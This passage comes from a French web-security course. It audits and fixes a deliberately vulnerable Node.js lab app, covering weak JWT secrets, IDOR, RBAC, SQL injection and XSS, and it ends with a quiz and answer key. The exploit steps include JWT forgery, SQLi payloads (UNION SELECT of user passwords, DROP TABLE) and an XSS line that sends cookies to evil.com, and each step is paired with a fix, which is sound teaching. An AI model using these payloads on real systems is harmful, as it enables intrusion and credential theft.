const token = jwt.sign({ userId: user.id, role: user.role }, 'secret123');
```

Action pratique

Étape 1, Générer un secret fort :

```
openssl rand -base64 32
# Exemple de sortie : K7gNU3sdo+OL0wNhqoVWhr3g6s1xYv72oL/pe/Unols=
```

Étape 2, Créer ou compléter `.env` à la racine de `vuln-app/` :

```
# vuln-app/.env
JWT_SECRET=K7gNU3sdo+OL0wNhqoVWhr3g6s1xYv72oL/pe/Unols=
```

Étape 3, Modifier `auth.js` :

```
// AVANT (faible)
const token = jwt.sign({ userId: user.id, role: user.role }, 'secret123');

// APRÈS (corrigé)
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { algorithm: 'HS256', expiresIn: '1h' }
);
```

Étape 4, Vérifier que `.env` est dans `.gitignore` :

```
grep ".env" vuln-app/.gitignore || echo ".env" >> vuln-app/.gitignore
```

Test de validation

```
# Forger un token avec "secret123", doit être rejeté
FORGED=$(node -e "const jwt=require('jsonwebtoken');
console.log(jwt.sign({userId:1,role:'admin'},'secret123'))")
curl http://localhost:3000/admin/users \
  -H "Authorization: Bearer ${FORGED}"
# Résultat attendu après correction : 401 Unauthorized (signature invalide)
```

Trace rapport > “Le secret JWT ‘secret123’ a été remplacé par un secret de 32 octets généré via openssl. Le secret est stocké dans la variable d’environnement JWT_SECRET et exclu du dépôt git via .gitignore.”

4. Expiration du token

Concept Un JWT sans expiration (`exp`) est valide indéfiniment. Si un token est compromis (XSS, fuite de logs, MITM), l’attaquant dispose d’un accès permanent sans que le serveur puisse le révoquer (JWT est stateless). L’expiration courte (`1h` pour les accès courants, `15m` pour les routes sensibles) limite la fenêtre d’exploitation. Un refresh token avec rotation peut prolonger la session sans exposer le token principal.

Risque concret Un token volé aujourd’hui donne accès dans 6 mois si aucune expiration n’est définie.

Exemple de faille

```
// ⚠️ Faille : pas d'expiration, token éternel
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET
);
// Le payload ne contiendra jamais de champ "exp"
```

Action pratique

```
// APRÈS (corrigé), dans auth.js ou routes/auth.js
const token = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { algorithm: 'HS256', expiresIn: '1h' } // ← ajout
);
```

Vérifier sur jwt.io que le payload contient maintenant `"exp": <timestamp>`.

Test de validation

```
# Décoder le token et vérifier la présence de "exp"
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' | jq -r '.token')

# Décoder le payload (base64)
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Résultat attendu : champ "exp" présent avec valeur = now + 3600
```

Trace rapport > “Les tokens JWT sont désormais configurés avec une expiration de 1 heure (expiresIn: ‘1h’). Le champ ‘exp’ est présent et validé à chaque requête par le middleware d’authentification.”

5. Authentification ≠ Autorisation

Concept Authentification = vérifier l’identité (“qui es-tu ?”). **Autorisation** = vérifier les permissions (“as-tu le droit ?”). Ces deux étapes sont distinctes et doivent être implémentées séparément. Une app peut très bien authentifier correctement tous ses utilisateurs tout en donnant accès à des ressources non autorisées (c’est le cas de TaskFlow : le JWT est vérifié, mais les rôles ne sont pas contrôlés).

Risque concret Un utilisateur authentifié peut accéder aux données d’un autre utilisateur ou aux routes admin sans être administrateur.

Exemple de faille

```
// ⚠️ Faille : middleware vérifie seulement l'authentification, pas
l'autorisation
router.get('/admin/users', authenticate, (req, res) => {
  // authenticate vérifie le JWT, mais N'IMPORTE QUEL utilisateur passe
  const users = db.prepare('SELECT * FROM users').all();
  res.json(users);
});
```

Action pratique Parcourir `routes/` et dresser un tableau :

ROUTE	AUTHENTIFICATION REQUISE	AUTORISATION REQUISE	IMPLÉMENTÉE ?
POST /login	☐	☐	☒
GET /tasks	☒	user.id === task.user_id	☐
GET /admin/users	☒	role === 'admin'	☐
DELETE /tasks/:id	☒	user.id === task.user_id	☐

Test de validation

```
# Token d'un utilisateur normal, ne doit pas accéder à /admin/users
USER_TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' | jq -r '.token')

curl http://localhost:3000/admin/users \
  -H "Authorization: Bearer ${USER_TOKEN}"
# Résultat attendu après correction : 403 Forbidden
```

Trace rapport > “Un audit des routes a identifié une confusion entre authentification et autorisation. Les routes sensibles n’effectuaient que la vérification du token JWT sans contrôle de rôle. Correction appliquée avec middleware dédié.”

6. RBAC (Rôles)

Concept Le **Role-Based Access Control** associe des permissions à des rôles (ex: `admin`, `user`) plutôt qu’à des individus. Le rôle est stocké dans le token JWT (claim `role`) et vérifié côté serveur à chaque requête sur les routes protégées. Le middleware de contrôle de rôle doit être séparé du middleware d’authentification pour être réutilisable.

Risque concret Sans RBAC, tout utilisateur authentifié peut accéder aux routes d’administration, exposant les données de tous les utilisateurs.

Exemple de faille

```
// ⚠️ Faille dans routes/admin.js
router.get('/admin/users', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  const decoded = jwt.verify(token, process.env.JWT_SECRET);
  if (decoded) { // ⚠️ vérifie seulement l'existence du token, pas le rôle
    const users = db.prepare('SELECT * FROM users').all();
    res.json(users);
  }
});
```

Action pratique

Créer `middleware/requireRole.js` :

```
// middleware/requireRole.js
function requireRole(role) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Non authentifié' });
    }
    if (req.user.role !== role) {
      return res.status(403).json({ error: 'Accès interdit, rôle insuffisant' });
    }
    next();
  };
}

module.exports = requireRole;
```

Appliquer dans `routes/admin.js` :

```
// AVANT (faible)
router.get('/admin/users', authenticate, (req, res) => { ... });

// APRÈS (corrigé)
const requireRole = require('../middleware/requireRole');
router.get('/admin/users', authenticate, requireRole('admin'), (req, res) => {
  const users = db.prepare('SELECT id, username, role, created_at FROM users').all();
  res.json(users);
});
```

Test de validation

```
# Test 1 : utilisateur normal rejeté
USER_TOKEN="<token_alice>"
curl -w "\nHTTP: %{http_code}\n" http://localhost:3000/admin/users \
  -H "Authorization: Bearer ${USER_TOKEN}"
# Résultat attendu : HTTP: 403

# Test 2 : admin accepté
ADMIN_TOKEN="<token_admin>"
curl -w "\nHTTP: %{http_code}\n" http://localhost:3000/admin/users \
  -H "Authorization: Bearer ${ADMIN_TOKEN}"
# Résultat attendu : HTTP: 200
```

Trace rapport > “Un middleware `requireRole()` a été créé et appliqué sur `/admin/users`. Les utilisateurs non-admin reçoivent une réponse 403. Les tests confirment que seul le rôle ‘admin’ accède à la liste des utilisateurs.”

7. IDOR (Insecure Direct Object Reference)

Concept L'IDOR survient quand une ressource est accessible directement via un identifiant (ex: `/tasks/42`) sans vérifier que l'utilisateur courant est bien le propriétaire de cette ressource. L'attaquant itère sur les IDs (`/tasks/1`, `/tasks/2` ...) pour accéder aux données des autres. C'est la faille #1 du classement OWASP A01 (Broken Access Control).

Risque concret Alice (userId=1) peut lire, modifier et supprimer les tâches de Bob (userId=2) simplement en changeant l'ID dans l'URL.

Exemple de faille

```
// ⚠️ Faille dans routes/tasks.js
router.get('/tasks/:id', authenticate, (req, res) => {
  const task = db.prepare('SELECT * FROM tasks WHERE id =
?').get(req.params.id);
  if (!task) return res.status(404).json({ error: 'Tâche introuvable' });
  // ← AUCUNE vérification que task.user_id === req.user.id
  res.json(task);
});
```

Action pratique

```
// APRÈS (corrigé) dans routes/tasks.js
router.get('/tasks/:id', authenticate, (req, res) => {
  const task = db.prepare('SELECT * FROM tasks WHERE id =
?').get(req.params.id);
  if (!task) return res.status(404).json({ error: 'Tâche introuvable' });

  // ← Vérification propriétaire (IDOR fix)
  if (task.user_id !== req.user.id) {
    return res.status(403).json({ error: 'Accès interdit, ressource
appartient à un autre utilisateur' });
  }

  res.json(task);
});
```

Appliquer le même pattern sur `PUT /tasks/:id` et `DELETE /tasks/:id`.

Test de validation

```
# Alice (userId=1) tente d'accéder à la tâche de Bob (id=2, user_id=2)
ALICE_TOKEN="<token_alice>"
curl -w "%{http_code}\n" http://localhost:3000/tasks/2 \
  -H "Authorization: Bearer ${ALICE_TOKEN}"
# Résultat attendu après correction : HTTP: 403
# {"error": "Accès interdit, ressource appartient à un autre utilisateur"}
```

Trace rapport > “La route `GET /tasks/:id` était vulnérable à l'IDOR : tout utilisateur authentifié pouvait lire les tâches des autres utilisateurs. Correction appliquée : vérification `task.user_id === req.user.id` sur `GET`, `PUT` et `DELETE /tasks/:id`.”

8. Stockage du token côté client

Concept `localStorage` est accessible par tout JavaScript de la page, y compris un script injecté via XSS. Un attaquant qui injecte `document.cookie` ou `localStorage.getItem('token')` vole le token de l'utilisateur. La recommandation OWASP est de stocker le JWT dans un **cookie HttpOnly** : ce flag empêche tout accès JavaScript au cookie, neutralisant le vol de token par XSS.

Risque concret Une XSS quelconque dans l'app (même mineure) suffit à exfiltrer le token et usurper l'identité de l'utilisateur.

Exemple de faille

```
// ⚠ Faille côté client (public/app.js)
fetch('/login', { method: 'POST', body: JSON.stringify(creds) })
  .then(r => r.json())
  .then(data => {
    localStorage.setItem('token', data.token); // ← accessible via XSS
  });
```

Action pratique

Modifier la route `/login` côté serveur (`routes/auth.js`) pour envoyer le token en cookie :

```
// APRÈS (corrigé) dans routes/auth.js
router.post('/login', (req, res) => {
  // ... vérification credentials ...
  const token = jwt.sign(
    { userId: user.id, role: user.role },
    process.env.JWT_SECRET,
    { algorithm: 'HS256', expiresIn: '1h' }
  );

  res.cookie('token', token, {
    httpOnly: true, // ← inaccessible au JS
    secure: process.env.NODE_ENV === 'production', // HTTPS uniquement en prod
    sameSite: 'strict', // protection CSRF
    maxAge: 3600000 // 1h en ms
  });

  res.json({ message: 'Connexion réussie' }); // NE PAS renvoyer le token dans le body
});
```

Modifier le middleware `authenticate.js` pour lire le cookie :

```
// middleware/authenticate.js (APRÈS)
const token = req.cookies?.token || req.headers.authorization?.split(' ')[1];
```

Test de validation

```
# Vérifier que la réponse /login contient Set-Cookie avec HttpOnly
curl -v -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' 2>&1 | grep -i "set-
cookie"
# Résultat attendu : Set-Cookie: token=...; HttpOnly; SameSite=Strict

# Vérifier que le body NE contient PLUS le token
curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' | jq .
# Résultat attendu : {"message":"Connexion réussie"}, aucun champ "token"
```

Trace rapport > “Le token JWT était stocké dans localStorage, le rendant accessible via XSS. Correction : le token est désormais émis en cookie HttpOnly + SameSite=Strict. Le corps de la réponse /login ne contient plus le token.”

Atelier, Exploit IDOR complet puis correction

Scénario

L'étudiant possède deux comptes : `alice` (userId=1) et `bob` (userId=2). Bob a créé la tâche id=2. Alice va la lire sans autorisation.

Étape 1, Obtenir le token d'Alice

```
ALICE_TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' | jq -r '.token')
echo "Token Alice: ${ALICE_TOKEN}"
```

Étape 2, Exploit IDOR (avant correction)

```
# Alice lit la tâche de Bob (id=2), succès avant correction
curl -s http://localhost:3000/tasks/2 \
  -H "Authorization: Bearer ${ALICE_TOKEN}" | jq .
# Résultat : la tâche de Bob s'affiche, FAILLÉ CONFIRMÉE
```

Étape 3, Correction dans le code

Appliquer la correction décrite en section 7 (vérification `task.user_id === req.user.id`).

Redémarrer l'application :

```
cd vuln-app && npm run dev
```

Étape 4, Re-test après correction

```
curl -w "\nHTTP: %{http_code}\n" http://localhost:3000/tasks/2 \
-H "Authorization: Bearer ${ALICE_TOKEN}"
# Résultat attendu : HTTP: 403
# {"error": "Accès interdit, ressource appartient à un autre utilisateur"}
```

TP, 65 minutes

Étape 1 : Audit du code auth/autorisation (10 min)

☐ Ouvrir `vuln-app/auth.js` et `vuln-app/middleware/authenticate.js` ☐ Lister les failles dans votre rapport : secret, expiration, stockage token, contrôle de rôle

Étape 2 : Exploit JWT faible, forger un token admin (10 min)

```
# Sur jwt.io > Debugger > coller un token existant
# Changer "role":"user" par "role":"admin" dans le payload
# Dans "Verify Signature", cocher "secret base64 encoded" = OFF
# Taper le secret "secret123" dans le champ "your-256-bit-secret"
# Le token modifié à droite est valide avec le secret faible
```

☐ Tester le token forgé sur `/admin/users` ☐ Documenter : “token forgé en X secondes avec secret faible”

Étape 3 : Exploit IDOR (5 min)

```
# Récupérer token d'alice
ALICE_TOKEN=$(curl -s -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"alice","password":"password123"}' | jq -r '.token')

# Accéder à la tâche de bob (id=2)
curl -s http://localhost:3000/tasks/2 \
-H "Authorization: Bearer ${ALICE_TOKEN}" | jq .
```

☐ Documenter le résultat dans le rapport

Étape 4 : Correction JWT secret + expiration (10 min)

☐ Générer le secret : `openssl rand -base64 32` ☐ Créer/modifier `vuln-app/.env` avec `JWT_SECRET=<secret_généré>` ☐ Modifier `auth.js` : remplacer `'secret123'` par `process.env.JWT_SECRET` ☐ Ajouter `expiresIn: '1h'` dans `jwt.sign()` ☐ Vérifier que `.env` est dans `.gitignore` ☐ Redémarrer l'app et vérifier que le token forgé est maintenant rejeté

Étape 5 : Middleware requireRole + correction /admin (15 min)

- ☐ Créer `vuln-app/middleware/requireRole.js` (code section 6) ☐ Appliquer `requireRole('admin')` sur `GET /admin/users` ☐ Tester avec un token user → 403 attendu
- ☐ Tester avec un token admin → 200 attendu

Étape 6 : Correction IDOR (10 min)

- ☐ Modifier `GET /tasks/:id` : ajouter vérification `task.user_id === req.user.id` ☐ Appliquer le même check sur `PUT /tasks/:id` et `DELETE /tasks/:id` ☐ Re-tester l'exploit IDOR de l'étape 3 → 403 attendu

Étape 7 : Tests de validation (5 min)

- ☐ Token forgé avec "secret123" → 401 ☐ Token sans expiration → toujours rejeté (car secret changé) ☐ IDOR Alice sur tâche Bob → 403 ☐ Utilisateur normal sur `/admin/users` → 403 ☐ Token en cookie HttpOnly (bonus)

Mini-quiz, 8 QCM

Q1. Un JWT est : - A) Chiffré et illisible sans clé privée - B) Encodé en Base64 et lisible sans secret - C) Stocké côté serveur dans une session - D) Toujours sécurisé si HTTPS est utilisé

Q2. Le secret JWT "secret" est problématique car : - A) Il est trop long - B) Il est prévisible et peut être bruteforcé - C) Il n'est pas compatible avec HS256 - D) Il doit être encodé en Base64 avant usage

Q3. La faille IDOR permet de : - A) Injecter du code SQL dans une requête - B) Accéder à des ressources appartenant à d'autres utilisateurs - C) Contourner HTTPS - D) Forger un token sans connaître le secret

Q4. Le middleware `requireRole('admin')` doit être placé : - A) Avant `authenticate` dans la chaîne de middlewares - B) Après `authenticate` dans la chaîne de middlewares - C) À la place de `authenticate` - D) Dans le contrôleur, pas en middleware

Q5. Stocker un JWT dans `localStorage` est risqué car : - A) `localStorage` est trop lent pour les tokens - B) `localStorage` est accessible via XSS et permet le vol du token - C) `localStorage` expire après 30 minutes - D) `localStorage` n'est pas supporté par tous les navigateurs

Q6. Un JWT sans `exp` : - A) Expire après 24h par défaut - B) Est invalide et rejeté par toutes les librairies - C) Est valide indéfiniment, faille si compromis - D) Déclenche une erreur à la signature

Q7. `sameSite: 'strict'` sur un cookie protège contre : - A) XSS - B) SQL injection - C) CSRF - D) Path traversal

Q8. Quelle est la différence entre authentification et autorisation ? - A) Aucune, ce sont des synonymes - B) L'authentification vérifie l'identité, l'autorisation vérifie les permissions - C) L'autorisation vérifie l'identité, l'authentification vérifie les permissions - D) L'authentification s'applique aux routes, l'autorisation aux données

Corrigé QCM

Q	RÉPONSE	EXPLICATION
1	B	Base64URL est un encodage, pas un chiffrement
2	B	Outils comme hashcat cassent les secrets courts en secondes
3	B	IDOR = accès non autorisé à un objet via son ID
4	B	<code>authenticate</code> doit peupler <code>req.user</code> avant que <code>requireRole</code> puisse le lire
5	B	XSS peut exécuter <code>localStorage.getItem('token')</code>
6	C	Pas de champ <code>exp</code> = token éternel
7	C	SameSite empêche l'envoi du cookie depuis un site tiers (CSRF)
8	B	Authentification = identité / Autorisation = permissions

Livable

```
# Depuis la racine du dépôt, après toutes les corrections
git add vuln-app/
git commit -m "M3: fix JWT secret/expiration, RBAC middleware, IDOR checks,
HttpOnly cookie"
git tag M3-rbac-securise
git push origin main --tags
```

Ressources

- OWASP A01:2021, Broken Access Control : https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- OWASP A07:2021, Identification and Authentication Failures : https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- JWT Best Practices (RFC 8725) : <https://datatracker.ietf.org/doc/html/rfc8725>
- OWASP JWT Security Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html

MODULE 4

Filtrer ce qui entre, échapper ce qui sort



Module 4. Filtrer ce qui entre, échapper ce qui sort

Durée : 1h30 | **Application :** TaskFlow (Node.js + Express + SQLite, port 3000) **Objectif :** Auditer et corriger toutes les injections SQL et XSS. Sécuriser tous les points d'entrée de l'application.

Failles présentes dans l'app (à corriger dans ce module)

#	FAILLE	TYPE	FICHER
1	"SELECT * FROM tasks WHERE user_id = " + userId	SQLi	routes/tasks.js
2	"SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"	SQLi	routes/tasks.js
3	element.innerHTML = task.title	XSS stockée	public/app.js
4	Pas de validation longueur/type/format sur les inputs	Manque validation	routes/
5	Upload sans contrôle type/taille/nom	Path traversal + upload arbitraire	routes/upload.js

1. Principe “ne jamais faire confiance aux entrées”

Concept Toute donnée venant de l'extérieur est potentiellement malveillante : corps de requête (`req.body`), paramètres d'URL (`req.params`), query string (`req.query`), en-têtes HTTP (`req.headers`), fichiers uploadés. Le navigateur valide côté client ? Un attaquant utilise `curl` ou Burp Suite, la validation client n'existe plus. La règle absolue : **toute validation doit être faite côté serveur**, sans exception.

Risque concret Un champ `username` sans validation accepte `" OR 1=1 --` comme nom d'utilisateur, déclenchant une injection SQL. Un champ `title` sans validation accepte `<script> ... </script>`, déclenchant une XSS.

Exemple de faille


```
// ⚠️ Faille : aucune validation, données de l'utilisateur utilisées
directement
router.post('/tasks', authenticate, (req, res) => {
  const { title, description } = req.body;
  // Ni validation de longueur, ni de type, ni de format
  db.prepare('INSERT INTO tasks (title, description, user_id) VALUES (?, ?,
?)')
    .run(title, description, req.user.id);
  res.json({ message: 'Tâche créée' });
});
```

Action pratique Ouvrir tous les fichiers `routes/*.js` et dresser un inventaire complet des points d'entrée :

☐ POST /register	→ body: username, password
☐ POST /login	→ body: username, password
☐ POST /tasks	→ body: title, description
☐ PUT /tasks/:id	→ params: id body: title, description
☐ GET /tasks/:id	→ params: id
☐ GET /tasks	→ query: q (recherche)
☐ POST /upload	→ file: multipart/form-data
☐ Tous les headers	→ Authorization

Pour chaque point, noter : “validé ?” et “type attendu ?”.

Test de validation

```
# Envoyer un titre de 10 000 caractères, doit être rejeté après correction
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"'$(python3 -c
"print('A'*10000)")'\",'description":"'test'"}' | jq .
# Résultat attendu après correction : 400 Bad Request avec message de
validation
```

Trace rapport > “Un inventaire exhaustif des points d'entrée a été réalisé : 7 routes traitent des données externes. Aucune validation formelle n'était présente avant ce module. Un schéma de validation a été appliqué sur chaque endpoint.”

2. Validation côté serveur

Concept La validation côté serveur consiste à définir des **schémas** qui décrivent exactement ce qu'on attend : type, longueur min/max, format (email, UUID, alphanumérique), caractères autorisés. Les bibliothèques **Joï** (mature, Express-natif) et **Zod** (TypeScript-first, inférence de types) permettent de déclarer ces schémas de façon lisible et de retourner des erreurs précises. La validation doit rejeter la requête immédiatement avec `400 Bad Request` si les données ne sont pas conformes.

Risque concret Sans validation, un attaquant peut envoyer des types inattendus (`null`, tableau, objet imbriqué) qui font crasher l'app ou contournent les protections.

Exemple de faille

```
// ⚠️ Faille : req.body.username utilisé sans vérification
router.post('/register', (req, res) => {
  const { username, password } = req.body;
  // username pourrait être null, undefined, {}, ou ''; DROP TABLE users--"
  db.prepare('INSERT INTO users (username, password) VALUES (?, ?)')
    .run(username, password);
});
```

Action pratique

Installer Joi :

```
cd vuln-app && npm install joi
```

Créer `vuln-app/validators/auth.js` :

```
// validators/auth.js
const Joi = require('joi');

const registerSchema = Joi.object({
  username: Joi.string()
    .alphanum()
    .min(3)
    .max(30)
    .required()
    .messages({
      'string.alphanum': 'Le nom d\'utilisateur ne peut contenir que des lettres et chiffres',
      'string.min': 'Le nom d\'utilisateur doit faire au moins 3 caractères',
      'string.max': 'Le nom d\'utilisateur ne peut pas dépasser 30 caractères',
    })
  password: Joi.string()
    .min(8)
    .max(128)
    .required()
});

const taskSchema = Joi.object({
  title: Joi.string().min(1).max(200).required(),
  description: Joi.string().max(2000).allow('').optional()
});

module.exports = { registerSchema, taskSchema };
```

Utiliser dans les routes :

```
// routes/auth.js (extrait)
const { registerSchema } = require('../validators/auth');

router.post('/register', (req, res) => {
  const { error, value } = registerSchema.validate(req.body, { abortEarly:
false });
  if (error) {
    return res.status(400).json({
      error: 'Données invalides',
      details: error.details.map(d => d.message)
    });
  }
  // Utiliser `value` (données validées et assainies) au lieu de `req.body`
  const { username, password } = value;
  // ...
});
```

Test de validation

```
# Test 1 : username trop court
curl -s -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"ab","password":"password123"}' | jq .
# Attendu : 400 + message d'erreur

# Test 2 : caractères spéciaux dans username
curl -s -X POST http://localhost:3000/register \
  -H "Content-Type: application/json" \
  -d '{"username":"al<script>","password":"password123"}' | jq .
# Attendu : 400 + "ne peut contenir que des lettres et chiffres"
```

Trace rapport > “La librairie Joi a été intégrée pour valider les entrées sur POST /register, POST /login, POST /tasks et PUT /tasks/:id. Les requêtes non conformes retournent 400 avec des messages d’erreur précis.”

3. Injection SQL, comment ça marche

Concept L’injection SQL survient quand des données utilisateur sont **concaténées** dans une requête SQL. L’attaquant manipule la syntaxe SQL en injectant des caractères spéciaux (' , " , -- , ;) pour modifier la logique de la requête. Exemples classiques : ' OR '1'='1 (contournement auth), '; DROP TABLE users-- (destruction de données), ' UNION SELECT username, password FROM users-- (exfiltration).

Risque concret Un payload ' OR '1'='1 dans la recherche de tâches retourne **toutes** les tâches de tous les utilisateurs, bypass les contrôles d’accès et expose les données de l’ensemble de la base.

Exemple de faille

```
// ⚠️ Faille dans routes/tasks.js, recherche SQLi
router.get('/tasks', authenticate, (req, res) => {
  const q = req.query.q || '';
  // ← CONCATÉNATION DIRECTE, injection SQL possible
  const tasks = db.prepare(
    "SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"
  ).all();
  res.json(tasks);
});
```

Action pratique

Exploiter la faille avant correction :

```
# Payload : fermer le LIKE, injecter UNION pour lire toutes les tâches
curl -s "http://localhost:3000/tasks?q=%' OR '1'='1" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat : TOUTES les tâches de TOUS les utilisateurs
```

Observer dans les logs serveur ou SQLite Browser comment la requête est interprétée.

Test de validation

```
# Après correction, ce payload doit retourner [] ou seulement les tâches de
l'utilisateur
curl -s "http://localhost:3000/tasks?q=%' OR '1'='1" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat attendu : tableau vide ou tâches filtrées correctement, le payload
est traité comme texte
```

Trace rapport > “Deux routes SQLi identifiées : GET /tasks (paramètre q) et GET /tasks/:id (paramètre id). L’exploitation du payload "' OR '1'='1" retournait l’ensemble des tâches de la base sans filtrage. Correction appliquée avec requêtes paramétrées.”

4. Requêtes paramétrées, Atelier sécurisation SQL

Concept Les **requêtes paramétrées** (prepared statements) séparent structurellement le code SQL des données. Le moteur SQL interprète d’abord la structure de la requête, puis substitue les paramètres en tant que **données pures**, jamais comme code SQL. Le `?` est un placeholder : la valeur est passée séparément et ne peut jamais modifier la logique de la requête, quels que soient les caractères qu’elle contient.

Risque concret Toute concaténation de chaînes dans une requête SQL est une injection potentielle, même pour des types qui semblent “sûrs” comme les entiers.

Atelier, Sécurisation de requêtes SQL (20 min)

ÉTAPE 1, MONTRER L'EXPLOIT

```
# Route vulnérable : GET /tasks avec user_id concaténé
# Payload : lire toutes les tâches en bypassant le filtre user_id
curl -s "http://localhost:3000/tasks?userId=1 OR 1=1" \
  -H "Authorization: Bearer <token>" | jq length
# Résultat avant correction : nombre total de tâches dans la base (toutes)

# Payload destruction (SQLite, ; ne chain pas toujours, mais UNION
fonctionne)
curl -s "http://localhost:3000/tasks?q=%' UNION SELECT id, username,
password, 4 FROM users--" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat : les usernames et hashes de mots de passe dans les données
"tasks"
```

ÉTAPE 2, RÉÉCRIRE AVEC REQUÊTES PARAMÉTRÉES

```
// AVANT, routes/tasks.js (toutes les requêtes vulnérables)
```

```
// Faille 1 : user_id concaténé
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = " + req.user.id
).all();
```

```
// Faille 2 : recherche concaténée
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE title LIKE '%" + q + "%'"
).all();
```

```
// Faille 3 : id de tâche concaténé
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = " + req.params.id
).get();
```

```
// APRÈS, routes/tasks.js (corrigé avec requêtes paramétrées)
```

```
// Correction 1 : placeholder ? pour user_id
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = ?"
).all(req.user.id); // ← valeur passée séparément
```

```
// Correction 2 : placeholder ? pour la recherche LIKE
const tasks = db.prepare(
  "SELECT * FROM tasks WHERE user_id = ? AND title LIKE ?"
).all(req.user.id, `%${q}%`); // ← les deux valeurs passées séparément
```

```
// Correction 3 : placeholder ? pour l'id
const task = db.prepare(
  "SELECT * FROM tasks WHERE id = ?"
).get(req.params.id); // ← valeur passée séparément
```

ÉTAPE 3, TESTER QUE L'INJECTION ÉCHOUE

```
# Test 1 : UNION injection, doit retourner [] ou tâches normales
curl -s "http://localhost:3000/tasks?q=%' UNION SELECT 1,2,3,4--" \
  -H "Authorization: Bearer <token>" | jq .
# Résultat attendu : tâches normales, aucune donnée de la table users

# Test 2 : OR injection sur recherche
curl -s "http://localhost:3000/tasks?q=' OR '1'='1" \
  -H "Authorization: Bearer <token>" | jq length
# Résultat attendu : uniquement les tâches de l'utilisateur courant
```

ÉTAPE 4, AUDITER TOUTES LES REQUÊTES DU PROJET

```
# Chercher toutes les concaténations de chaînes dans les requêtes SQL
grep -n "db.prepare" vuln-app/routes/*.js | grep -v "?"
# Toute ligne sans "?" dans la requête est potentiellement vulnérable
```

Vérifier : - ☒ routes/tasks.js , toutes les requêtes - ☒ routes/auth.js , login (SELECT par username) - ☒ routes/admin.js , SELECT users - ☒ Toute autre requête dynamique

Trace rapport > “Quatre requêtes SQL vulnérables à l'injection ont été identifiées dans routes/tasks.js et routes/auth.js. Toutes ont été réécrites avec des placeholders paramétrés (better-sqlite3 API .all(param) / .get(param)). L'audit grep confirme l'absence de concaténation résiduelle.”

5. ORM safety

Concept Un ORM (Sequelize, Prisma, TypeORM) ne protège pas automatiquement contre les injections SQL. Les méthodes haut-niveau (findAll , findOne avec objet) sont sûres. Les **raw queries** (db.query("SELECT ... " + input)) ou les opérateurs non échappés restent vulnérables. L'ORM donne un faux sentiment de sécurité : il faut auditer toute utilisation de sequelize.query() , prisma.\$queryRaw , knex.raw() .

Risque concret Un développeur migre vers Prisma mais conserve quelques \$queryRaw pour les requêtes complexes, ces raw queries restent des vecteurs d'injection.

Exemple de faille

```
// ⚠️ Faille : raw query dans Prisma, injection possible
const tasks = await prisma.$queryRaw(`
  SELECT * FROM tasks WHERE title LIKE '%${q}%'
`);

// APRÈS (corrigé) : template literal taggé avec Prisma.sql
const tasks = await prisma.$queryRaw`
  SELECT * FROM tasks WHERE title LIKE ${'%' + q + '%'}
`;
// Ou mieux : utiliser l'API haut-niveau
const tasks = await prisma.task.findMany({
  where: { title: { contains: q } }
});
```

Action pratique Dans `vuln-app/`, lancer un audit :

```
# Chercher les usages de raw queries ou de concaténation dans les requêtes
grep -rn "queryRaw\|\.query\|\.raw\|\.prepare" vuln-app/routes/ | grep -v "?"
# Documenter chaque occurrence trouvée
```

Trace rapport > “Audit des raw queries réalisé. L’application utilise better-sqlite3 avec `.prepare()`, aucun ORM. Toutes les requêtes ont été paramétrées. Aucune raw query non paramétrée résiduelle détectée.”

6. XSS stockée vs réfléchie

Concept XSS réfléchie : le payload malveillant est dans l’URL ou le formulaire, reflété immédiatement dans la réponse sans persistance (ex: page d’erreur qui affiche le paramètre `?msg=<script>...`). **XSS stockée** : le payload est sauvegardé en base de données (titre d’une tâche, commentaire) et exécuté chez chaque visiteur qui affiche la ressource. La XSS stockée est plus dangereuse : elle persiste et affecte tous les utilisateurs.

Risque concret Un attaquant crée une tâche avec le titre `<script>fetch('https://evil.com/?c='+document.cookie)</script>`. Tout utilisateur qui ouvre la liste des tâches envoie ses cookies à l’attaquant.

Exemple de faille

```
// ⚠️ Faille côté client, public/app.js
function renderTask(task) {
  const li = document.createElement('li');
  li.innerHTML = task.title; // ← exécute tout HTML/JS dans task.title
  taskList.appendChild(li);
}
```

Action pratique

Exploiter avant correction :

```
# Créer une tâche avec payload XSS stockée
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <token>" \
  -d '{"title":"<img src=x
onerror=\"alert(document.cookie)\">>","description\":\"test\"}' | jq .

# Ouvrir l'app dans le navigateur, l'alert se déclenche à l'affichage de la
liste
```

Observer dans la console du navigateur (F12) que l'alert contient les cookies de session.

Test de validation

```
# Après correction, le payload doit s'afficher comme texte brut, pas
s'exécuter
curl -s -X POST http://localhost:3000/tasks \
  -H "Content-Type: application/json" \
